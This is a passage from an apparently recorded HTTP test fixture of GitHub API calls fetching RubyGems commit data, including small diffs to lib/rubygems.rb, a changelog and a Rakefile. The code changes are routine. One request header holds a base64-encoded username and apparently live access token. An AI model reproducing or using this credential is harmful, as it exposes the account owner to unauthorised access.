#2092\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f92351871eec5df1281e90feb2efe707021ad3c5","html_url":"https://github.com/rubygems/rubygems/commit/f92351871eec5df1281e90feb2efe707021ad3c5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f92351871eec5df1281e90feb2efe707021ad3c5/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"55df5dbb5d917809a27a5881ddf3c0b5543b011f","url":"https://api.github.com/repos/rubygems/rubygems/commits/55df5dbb5d917809a27a5881ddf3c0b5543b011f","html_url":"https://github.com/rubygems/rubygems/commit/55df5dbb5d917809a27a5881ddf3c0b5543b011f"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"bf42395f25f3a756616bd8ce8c6aa89b5e344956","filename":"lib/rubygems.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/f92351871eec5df1281e90feb2efe707021ad3c5/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f92351871eec5df1281e90feb2efe707021ad3c5/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=f92351871eec5df1281e90feb2efe707021ad3c5","patch":"@@ -161,7 +161,7 @@ module Gem\n # these are defined in Ruby 1.8.7, hence the need for this convoluted setup.\n \n READ_BINARY_ERRORS = begin\n- read_binary_errors = [Errno::EACCES, Errno::EROFS]\n+ read_binary_errors = [Errno::EACCES, Errno::EROFS, Errno::ENOSYS]\n read_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)\n read_binary_errors\n end.freeze\n@@ -171,7 +171,7 @@ module Gem\n # these are defined in Ruby 1.8.7.\n \n WRITE_BINARY_ERRORS = begin\n- write_binary_errors = []\n+ write_binary_errors = [Errno::ENOSYS]\n write_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)\n write_binary_errors\n end.freeze"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:47 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/dc3745b0b6bde1d5dab23ee46078077a1fac220a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4543' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d5eba3a7c7c4512c0c217a271eb01d59" Last-Modified: - Tue, 28 Nov 2017 11:46:33 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.081775' X-Github-Request-Id: - C4C0:4D94:4EFED8:B2FFA4:5A50E463 body: encoding: ASCII-8BIT string: !binary |- eyJzaGEiOiJkYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMS0yOFQxMTo0NjozM1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTExLTI4VDExOjQ2OjMzWiJ9LCJtZXNzYWdlIjoiTWVyZ2UgdGFnICd2Mi43LjMnIGludG8gMi43IiwidHJlZSI6eyJzaGEiOiJkZjEzNTNiM2YxMmNjNWY5M2M0M2M2MDg3MGQ4YWFiMGUwYjdkNmNlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZGYxMzUzYjNmMTJjYzVmOTNjNDNjNjA4NzBkOGFhYjBlMGI3ZDZjZSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJiMzU4ZTg4MzM2ZWE3YmFiMDY3Y2ZhNmE4NjY2MGM5MzdlYjZjZmIyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2IzNThlODgzMzZlYTdiYWIwNjdjZmE2YTg2NjYwYzkzN2ViNmNmYjIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYjM1OGU4ODMzNmVhN2JhYjA2N2NmYTZhODY2NjBjOTM3ZWI2Y2ZiMiJ9LHsic2hhIjoiNTVkZjVkYmI1ZDkxNzgwOWEyN2E1ODgxZGRmM2MwYjU1NDNiMDExZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81NWRmNWRiYjVkOTE3ODA5YTI3YTU4ODFkZGYzYzBiNTU0M2IwMTFmIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzU1ZGY1ZGJiNWQ5MTc4MDlhMjdhNTg4MWRkZjNjMGI1NTQzYjAxMWYifV0sInN0YXRzIjp7InRvdGFsIjozMTksImFkZGl0aW9ucyI6MjY5LCJkZWxldGlvbnMiOjUwfSwiZmlsZXMiOlt7InNoYSI6IjM1YTM4ZTNiYTBiMzk4OTAxNzE5MjY1ZDQ5N2FhOGM3N2I4OWRmMTQiLCJmaWxlbmFtZSI6Ikhpc3RvcnkudHh0Iiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjQ4LCJkZWxldGlvbnMiOjE0LCJjaGFuZ2VzIjo2MiwiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhL0hpc3RvcnkudHh0IiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS9IaXN0b3J5LnR4dCIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvSGlzdG9yeS50eHQ/cmVmPWRjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEiLCJwYXRjaCI6IkBAIC0xLDUgKzEsMzkgQEBcbiAjIGNvZGluZzogVVRGLThcbiBcbis9PT0gMi43LjNcbitcbitNaW5vciBlbmhhbmNlbWVudHM6XG4rXG4rKiBSZW1vdmVkIG5lZWRsZXNzIHZlcnNpb24gbG9jay4gUHVsbCByZXF1ZXN0ICMyMDc0IGJ5IFNISUJBVEEgSGlyb3NoaS5cbisqIEFkZCAtLVtuby1dY2hlY2stZGV2ZWxvcG1lbnQgb3B0aW9uIHRvIGNsZWFudXAgY29tbWFuZC4gUHVsbCByZXF1ZXN0XG4rICAjMjA2MSBieSBMaW4gSmVuLVNoaW4gKGdvZGZhdCkuXG4rKiBNZXJnZSBnbG9iIHBhdHRlcm4gdXNpbmcgYnJhY2VzLiBQdWxsIHJlcXVlc3QgIzIwNzIgYnkgS2F6dWhpcm9cbisgIE5JU0hJWUFNQS5cbisqIFJlbW92ZWQgd2FybmluZ3Mgb2YgdW51c2VkIHZhcmlhYmxlcy4gUHVsbCByZXF1ZXN0ICMyMDg0IGJ5IFNISUJBVEFcbisgIEhpcm9zaGkuXG4rKiBDYWxsIFNQRFgub3JnIHVzaW5nIEhUVFBTLiBQdWxsIHJlcXVlc3QgIzIxMDIgYnkgT2xsZSBKb25zc29uLlxuKyogUmVtb3ZlIG11bHRpIGxvYWQgd2FybmluZyBmcm9tIHBsdWdpbnMgZG9jdW1lbnRhdGlvbi4gUHVsbCByZXF1ZXN0ICMyMTAzXG4rICBieSBUaGliYXVsdCBKb3Vhbi5cbitcbitCdWcgZml4ZXM6XG4rXG4rKiBGaXggdGVzdCBmYWlsdXJlIG9uIEFscGluZSBMaW51eC4gUHVsbCByZXF1ZXN0ICMyMDc5IGJ5IEVsbGVuIE1hcmllXG4rICBEYXNoLlxuKyogQXZvaWQgZW5jb2RpbmcgaXNzdWVzIGJ5IHVzaW5nIGJpbnJlYWQgaW4gc2V0dXAuIFB1bGwgcmVxdWVzdCAjMjA4OSBieVxuKyAgTWF1cm8gTW9yYWxlcy5cbisqIEZpeCByYWtlIGluc3RhbGxfdGVzdF9kZXBzIG9uY2UgdGhlIHJha2UgY2xlYW5fZW52IGRvZXMgbm90IGV4aXN0LiBQdWxsXG4rICByZXF1ZXN0ICMyMDkwIGJ5IEx1Y2FzIE9saXZlaXJhLlxuKyogUHJldmVudCB0byBkZWxldGUgdG8gXCJidW5kbGVyLVwiIHByZWZpeCBnZW0gbGlrZSBidW5kbGVyLWF1ZGl0LiBQdWxsXG4rICByZXF1ZXN0ICMyMDg2IGJ5IFNISUJBVEEgSGlyb3NoaS5cbisqIEdlbmVyYXRlIC5iYXQgZmlsZXMgb24gV2luZG93cyBwbGF0Zm9ybS4gUHVsbCByZXF1ZXN0ICMyMDk0IGJ5IFNISUJBVEFcbisgIEhpcm9zaGkuXG4rKiBXb3JrYXJvdW5kIGNvbW1vbiBvcHRpb25zIG11dGF0aW9uIGluIEdlbTo6Q29tbWFuZCB0ZXN0LiBQdWxsIHJlcXVlc3RcbisgICMyMDk4IGJ5IFRoaWJhdWx0IEpvdWFuLlxuKyogQ2hlY2sgZ2VtcyBkaXIgZXhpc3RlbmNlIGJlZm9yZSByZW1vdmluZyBidW5kbGVyLiBQdWxsIHJlcXVlc3QgIzIxMDQgYnlcbisgIFRoaWJhdWx0IEpvdWFuLlxuKyogVXNlIHNldHVwIGNvbW1hbmQgLS1yZWdlbmVyYXRlLWJpbnN0dWJzIG9wdGlvbiBmbGFnLiBQdWxsIHJlcXVlc3QgIzIwOTlcbisgIGJ5IFRoaWJhdWx0IEpvdWFuLlxuK1xuID09PSAyLjcuMlxuIFxuIEJ1ZyBmaXhlczpcbkBAIC05Nyw2ICsxMzEsMjAgQEAgTWlub3IgZW5oYW5jZW1lbnRzOlxuICAgR2lkZGlucy5cbiAqIFtWZXJzaW9uXSBNYWtlIGhhc2ggYmFzZWQgdXBvbiBjYW5vbmljYWwgc2VnbWVudHMuIFB1bGwgcmVxdWVzdCAjMTY1OSBieVxuICAgU2FtdWVsIEdpZGRpbnMuXG4rKiBBZGQgUnVieSBUb2dldGhlciBDVEEsIHJlYXJyYW5nZSBSRUFETUUgYSBiaXQuIFB1bGwgcmVxdWVzdCAjMTc3NSBieVxuKyAgTWljaGFlbCBCZXJuc3RlaW4uXG4rKiBVcGRhdGUgQ29udHJpYnV0aW5nLnJkb2Mgd2l0aCBuZXcgbGFiZWwgdXNhZ2UuIFB1bGwgcmVxdWVzdCAjMTcxNiBieVxuKyAgTHlubiBDeXJpbi5cbisqIEFkZCAtLWhvc3Qgc2FtcGxlIHRvIGhlbHAuIFB1bGwgcmVxdWVzdCAjMTcwOSBieSBDb2RlIEFoc3MuXG4rKiBBZGQgYSBoZWxwZnVsIHN1Z2dlc3Rpb24gd2hlbiBgZ2VtIGluc3RhbGxgIGZhaWxzIGR1ZSB0byByZXF1aXJlZF9ydWLigKYuXG4rICBQdWxsIHJlcXVlc3QgIzE2OTcgYnkgU2FtdWVsIEdpZGRpbnMuXG4rKiBBZGQgY2VydCBleHBpcmF0aW9uIGxlbmd0aCBmbGFnLiBQdWxsIHJlcXVlc3QgIzE3MjUgYnkgTHVpcyBTYWdhc3R1bWUuXG4rKiBBZGQgc3VibW9kdWxlIGluc3RydWN0aW9ucyB0byBtYW51YWwgaW5zdGFsbC4gUHVsbCByZXF1ZXN0ICMxNzI3IGJ5XG4rICBKb3NlcGggRnJhemllci5cbisqIEFsbG93IHVzYWdlIG9mIG11bHRpcGxlIGAtLXZlcnNpb25gIG9wZXJhdG9ycy4gUHVsbCByZXF1ZXN0ICMxNTQ2IGJ5XG4rICBKYW1lcyBXZW4uXG4rKiBXYXJuIHdoZW4gcmVxdWlyaW5nIGRlcHJlY2F0ZWQgZmlsZXMuIFB1bGwgcmVxdWVzdCAjMTkzOSBieSBFbGxlbiBNYXJpZVxuKyAgRGFzaC5cbiBcbiBDb21wYXRpYmlsaXR5IGNoYW5nZXM6XG4gXG5AQCAtMTEyLDIwICsxNjAsNiBAQCBDb21wYXRpYmlsaXR5IGNoYW5nZXM6XG4gICBQdWxsIHJlcXVlc3QgIzE3MzEgYnkgSm9uIE1vc3MuXG4gKiBVcGRhdGUgQ29kZSBvZiBDb25kdWN0IHRvIENvbnRyaWJ1dG9yIENvdmVuYW50IHYxLjQuMC4gUHVsbCByZXF1ZXN0XG4gICAjMTc5NiBieSBNYXRlai5cbi0qIEFkZCBSdWJ5IFRvZ2V0aGVyIENUQSwgcmVhcnJhbmdlIFJFQURNRSBhIGJpdC4gUHVsbCByZXF1ZXN0ICMxNzc1IGJ5XG4tICBNaWNoYWVsIEJlcm5zdGVpbi5cbi0qIFVwZGF0ZSBDb250cmlidXRpbmcucmRvYyB3aXRoIG5ldyBsYWJlbCB1c2FnZS4gUHVsbCByZXF1ZXN0ICMxNzE2IGJ5XG4tICBMeW5uIEN5cmluLlxuLSogQWRkIC0taG9zdCBzYW1wbGUgdG8gaGVscC4gUHVsbCByZXF1ZXN0ICMxNzA5IGJ5IENvZGUgQWhzcy5cbi0qIEFkZCBhIGhlbHBmdWwgc3VnZ2VzdGlvbiB3aGVuIGBnZW0gaW5zdGFsbGAgZmFpbHMgZHVlIHRvIHJlcXVpcmVkX3J1YuKApi5cbi0gIFB1bGwgcmVxdWVzdCAjMTY5NyBieSBTYW11ZWwgR2lkZGlucy5cbi0qIEFkZCBjZXJ0IGV4cGlyYXRpb24gbGVuZ3RoIGZsYWcuIFB1bGwgcmVxdWVzdCAjMTcyNSBieSBMdWlzIFNhZ2FzdHVtZS5cbi0qIEFkZCBzdWJtb2R1bGUgaW5zdHJ1Y3Rpb25zIHRvIG1hbnVhbCBpbnN0YWxsLiBQdWxsIHJlcXVlc3QgIzE3MjcgYnlcbi0gIEpvc2VwaCBGcmF6aWVyLlxuLSogQWxsb3cgdXNhZ2Ugb2YgbXVsdGlwbGUgYC0tdmVyc2lvbmAgb3BlcmF0b3JzLiBQdWxsIHJlcXVlc3QgIzE1NDYgYnlcbi0gIEphbWVzIFdlbi5cbi0qIFdhcm4gd2hlbiByZXF1aXJpbmcgZGVwcmVjYXRlZCBmaWxlcy4gUHVsbCByZXF1ZXN0ICMxOTM5IGJ5IEVsbGVuIE1hcmllXG4tICBEYXNoLlxuIFxuIEJ1ZyBmaXhlczpcbiAifSx7InNoYSI6IjY3ZTRjMjVkNTE1OGYxOWNlNzQ4YmMxNWE3MzEyOWQxYjBmMDM4ZDgiLCJmaWxlbmFtZSI6IlJha2VmaWxlIiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjcsImRlbGV0aW9ucyI6NiwiY2hhbmdlcyI6MTMsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS9SYWtlZmlsZSIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3L2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvUmFrZWZpbGUiLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL1Jha2VmaWxlP3JlZj1kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhIiwicGF0Y2giOiJAQCAtMTQ0LDcgKzE0NCw3IEBAIGVuZFxuIHRhc2soOm5ld2IpLnByZXJlcXVpc2l0ZXMudW5zaGlmdCBcImJ1bmRsZXI6Y2hlY2tvdXRcIlxuIFxuIGRlc2MgXCJJbnN0YWxsIGdlbXMgbmVlZGVkIHRvIHJ1biB0aGUgdGVzdHNcIlxuLXRhc2sgOmluc3RhbGxfdGVzdF9kZXBzID0+IDpjbGVhbl9lbnYgZG9cbit0YXNrIDppbnN0YWxsX3Rlc3RfZGVwcyA9PiA6Y2xlYW4gZG9cbiAgIHNoIFwiZ2VtIGluc3RhbGwgbWluaXRlc3QgLXYgJ34+IDQuMCdcIlxuIGVuZFxuIFxuQEAgLTE2OCw3ICsxNjgsNyBAQCBlbmRcbiBcbiB0YXNrIDpwcmVyZWxlYXNlID0+IFs6Y2xvYmJlciwgOmNoZWNrX21hbmlmZXN0LCA6dGVzdF1cbiBcbi10YXNrIDpwb3N0cmVsZWFzZSA9PiAld1t1cGxvYWQgZ3VpZGVzOnB1Ymxpc2ggYmxvZzpwdWJsaXNoIHB1Ymxpc2hfZG9jc11cbit0YXNrIDpwb3N0cmVsZWFzZSA9PiAld1t1cGxvYWQgZ3VpZGVzOnB1Ymxpc2ggYmxvZzpwdWJsaXNoXVxuIFxuIGZpbGUgXCJwa2cvcnVieWdlbXMtI3t2fVwiID0+IFwicGtnL3J1YnlnZW1zLXVwZGF0ZS0je3Z9XCIgZG8gfHR8XG4gICByZXF1aXJlICdmaW5kJ1xuQEAgLTIxOSwxMCArMjE5LDggQEAgZW5kXG4gZGVzYyBcIlVwbG9hZCByZWxlYXNlIHRvIHJ1YnlnZW1zLm9yZ1wiXG4gdGFzayA6dXBsb2FkID0+ICV3W3VwbG9hZF90b19zM11cbiBcbi1vbl9tYXN0ZXIgPSBgZ2l0IGJyYW5jaCAtLWxpc3QgbWFzdGVyYC5zdHJpcCA9PSAnKiBtYXN0ZXInXG4tb25fbWFzdGVyID0gdHJ1ZSBpZiBFTlZbJ0ZPUkNFJ11cbi1cbi1SYWtlOjpUYXNrWydwdWJsaXNoX2RvY3MnXS5jbGVhciB1bmxlc3Mgb25fbWFzdGVyXG4rIyBJZ25vbnJlIHRvIHB1Ymxpc2ggcmRvYyB0byBkb2NzLnNlYXR0bGVyYi5vcmdcbitSYWtlOjpUYXNrWydwdWJsaXNoX2RvY3MnXS5jbGVhclxuIFxuIGRpcmVjdG9yeSAnLi4vZ3VpZGVzLnJ1YnlnZW1zLm9yZycgZG9cbiAgIHNoICdnaXQnLCAnY2xvbmUnLFxuQEAgLTI2Niw2ICsyNjQsOSBAQCBuYW1lc3BhY2UgJ2d1aWRlcycgZG9cbiAgIGRlc2MgJ1VwZGF0ZXMgYW5kIHB1Ymxpc2hlcyB0aGUgZ3VpZGVzIGZvciB0aGUganVzdC1yZWxlYXNlZCBSdWJ5R2VtcydcbiAgIHRhc2sgJ3B1Ymxpc2gnXG4gXG4rICBvbl9tYXN0ZXIgPSBgZ2l0IGJyYW5jaCAtLWxpc3QgbWFzdGVyYC5zdHJpcCA9PSAnKiBtYXN0ZXInXG4rICBvbl9tYXN0ZXIgPSB0cnVlIGlmIEVOVlsnRk9SQ0UnXVxuK1xuICAgdGFzayAncHVibGlzaCcgPT4gJXdbXG4gICAgIGd1aWRlczpwdWxsXG4gICAgIGd1aWRlczp1cGRhdGUifSx7InNoYSI6ImI3MDk3ZjIyY2QxNDBhNjNlZDk2NDE3MTE3YTMxZjZiYmZlZGY4ZTYiLCJmaWxlbmFtZSI6ImxpYi9ydWJ5Z2Vtcy5yYiIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjoyLCJkZWxldGlvbnMiOjQsImNoYW5nZXMiOjYsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS9saWIvcnVieWdlbXMucmIiLCJyYXdfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3Jhdy9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhL2xpYi9ydWJ5Z2Vtcy5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvbGliL3J1YnlnZW1zLnJiP3JlZj1kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhIiwicGF0Y2giOiJAQCAtMTAsNyArMTAsNyBAQFxuIHJlcXVpcmUgJ3RocmVhZCdcbiBcbiBtb2R1bGUgR2VtXG4tICBWRVJTSU9OID0gXCIyLjcuMlwiXG4rICBWRVJTSU9OID0gXCIyLjcuM1wiXG4gZW5kXG4gXG4gIyBNdXN0IGJlIGZpcnN0IHNpbmNlIGl0IHVubG9hZHMgdGhlIHByZWx1ZGUgZnJvbSAxLjkuMlxuQEAgLTQ3LDkgKzQ3LDcgQEAgbW9kdWxlIEdlbVxuICMgQXMgb2YgUnVieUdlbXMgMS4zLjIsIFJ1YnlHZW1zIHdpbGwgbG9hZCBwbHVnaW5zIGluc3RhbGxlZCBpbiBnZW1zIG9yXG4gIy